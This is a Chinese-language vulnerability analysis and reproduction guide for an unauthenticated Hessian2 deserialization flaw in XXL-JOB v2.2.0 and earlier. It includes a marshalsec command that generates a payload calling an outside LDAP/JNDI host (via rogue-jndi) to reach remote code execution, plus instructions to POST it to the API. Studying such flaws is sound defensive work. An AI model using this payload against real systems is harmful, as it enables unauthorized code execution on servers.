一步一步教你漏洞挖掘之XXL-JOB 未授權 Hessian2反序列化漏洞分析與復現
引言
XXL-JOB是一個分布式任務調度平臺,其核心設計目標是開發迅速、學習簡單、輕量級、易擴展。現已開放源代碼并接入多家公司線上產品線,開箱即用。XXL-JOB v2.2.0及以下版本API接口存在Hessian2反序列化漏洞,可通過相關利用鏈結合JNDI注入實現RCE。
環境構建
0x01 MySQL數據庫配置
wget https://raw.githubusercontent.com/xuxueli/xxl-job/2.0.2/doc/db/tables_xxl_job.sql
導入數據庫:

0x02 XXL-JOB配置
wget https://github.com/xuxueli/xxl-job/archive/2.0.2.zip
修改配置(`\xxl-job-2.0.2\xxl-job-admin\src\main\resources\application.properties`):

將源代碼放入idea,直接可以啟動:

源碼分析
定位問題接口`JobApiController#api`

`@PermessionLimit(limit=false)`說明該接口訪問不需要認證。跟進`invokeAdminService`,一直跟到`parseRequest`:


存在Hessian2反序列化漏洞。
漏洞復現

目前Hessian公開的利用鏈主要如下:

顯然適用于本案例的就是`Spring AOP`,需要結合JNDI注入,但是JDK版本較高,無法遠程加載惡意類。不過由于XXL-JOB默認運行在Tomcat之上,可以利用本地的工廠類進行RCE。這里利用rogue-jndi來進行利用:
rogue-jndi
https://github.com/veracode-research/rogue-jndi
0x01 啟動JNDI服務

0x02 生成Payload
可利用`marshalsec`直接生成:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://***:1389/o=tomcat > calc.ser
0x03 發送數據包
替換數據包的POST部分,發送即可復現漏洞:

參考
https://github.com/xuxueli/xxl-job
http://itliusir.com/2018/scheduler-xxl-job/
https://github.com/veracode-research/rogue-jndi
https://github.com/mbechler/marshalsec